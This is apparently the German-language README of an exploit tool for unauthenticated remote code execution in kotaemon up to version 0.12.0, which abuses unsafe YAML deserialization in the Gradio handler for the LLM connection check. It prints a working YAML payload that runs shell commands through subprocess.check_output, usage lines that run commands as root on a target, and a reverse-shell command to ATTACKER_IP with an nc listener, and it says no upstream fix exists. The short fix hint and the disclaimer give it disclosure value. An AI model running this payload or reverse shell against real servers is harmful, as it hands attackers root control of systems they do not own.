
Exploit für nicht authentifizierte Remote-Codeausführung, der unsichere YAML-Deserialisierung in LLM-Verbindungsprüfungen ausnutzt; unterstützt beliebige Befehlsausführung und Reverse-Shells über eine exponierte Gradio-API.
Nicht authentifizierte Remote-Codeausführung in kotaemon
(<= 0.12.0) über unsichere Deserialisierung im LLM-Einstellungs-Verbindungstest.
Der Gradio-Handler check_connection der LLM-Einstellungen von kotaemon (libs/ktem/ktem/llms/ui.py) parst eine
vom Angreifer bereitgestellte YAML-Spec und deserialisiert sie unsicher:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # Angreifer-YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) löst den __type__-Schlüssel einer Spec
über import_dotted_string mit keiner Allowlist auf und instanziiert sie anschließend mit vom Angreifer
kontrollierten Kwargs:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # importiert JEDEN Dotted Path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instanziiert mit Angreifer-Kwargs
Eine Spec, deren __type__ subprocess.check_output ist, führt also während der
Deserialisierung einen OS-Befehl aus (CWE-502).
Zwei Dinge machen daraus eine saubere, nicht authentifizierte RCE:
auth= gestartet. Das „Login" schaltet lediglich die
Sichtbarkeit von UI-Tabs um; jeder registrierte Event-Handler ist öffentlich aufrufbar. KH_FEATURE_USER_MANAGEMENT
schützt die HTTP-/Queue-API nicht.info["spec"].update(<Angreifer-YAML>) überschreibt die LLM-Spec
vollständig, sodass der Payload niemals einen echten LLM-Anbieter kontaktiert.Das offizielle Docker-Image von kotaemon läuft als root, sodass die RCE als root landet. Zum Zeitpunkt des Schreibens gibt es kein Upstream-Fix.
Die übermittelte YAML-Spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize rekursiert zuerst in return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) führt den Befehl aus. Das Einhüllen in unittest.mock.Mock absorbiert alle übrig gebliebenen
Basis-Spec-Kwargs (model/api_key), sodass der äußere Aufruf niemals bricht, und die Standardausgabe des Befehls wird
in der Nachricht Got response: ... des Handlers zurückgespiegelt.
Nur Stdlib (Python 3). Der Exploit tätigt zwei Gradio-Aufrufe: create_llm (einen benannten LLM-Eintrag anlegen,
damit llms.info()[name] aufgelöst wird) und dann check_connection (Payload übermitteln).
# Befehl als root ausführen; die Ausgabe wird in der Antwort zurückgegeben
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# Reverse Shell (zuerst einen Listener starten: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Falls die Handler-Namen create_llm / check_connection bei einem Ziel abweichen, können sie über
GET /config (dependencies[].api_name) aufgelistet und angepasst werden.
kotaemon <= 0.12.0 (Standardport 7860). Zum Zeitpunkt des Schreibens ist kein Upstream-Patch verfügbar.
deserialize mit safe=True und einer allowed_modules-Allowlist aufrufen, sodass kein Angreifer-__type__
import_dotted_string erreicht.Nur für autorisierte Sicherheitstests und Schulungszwecke. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.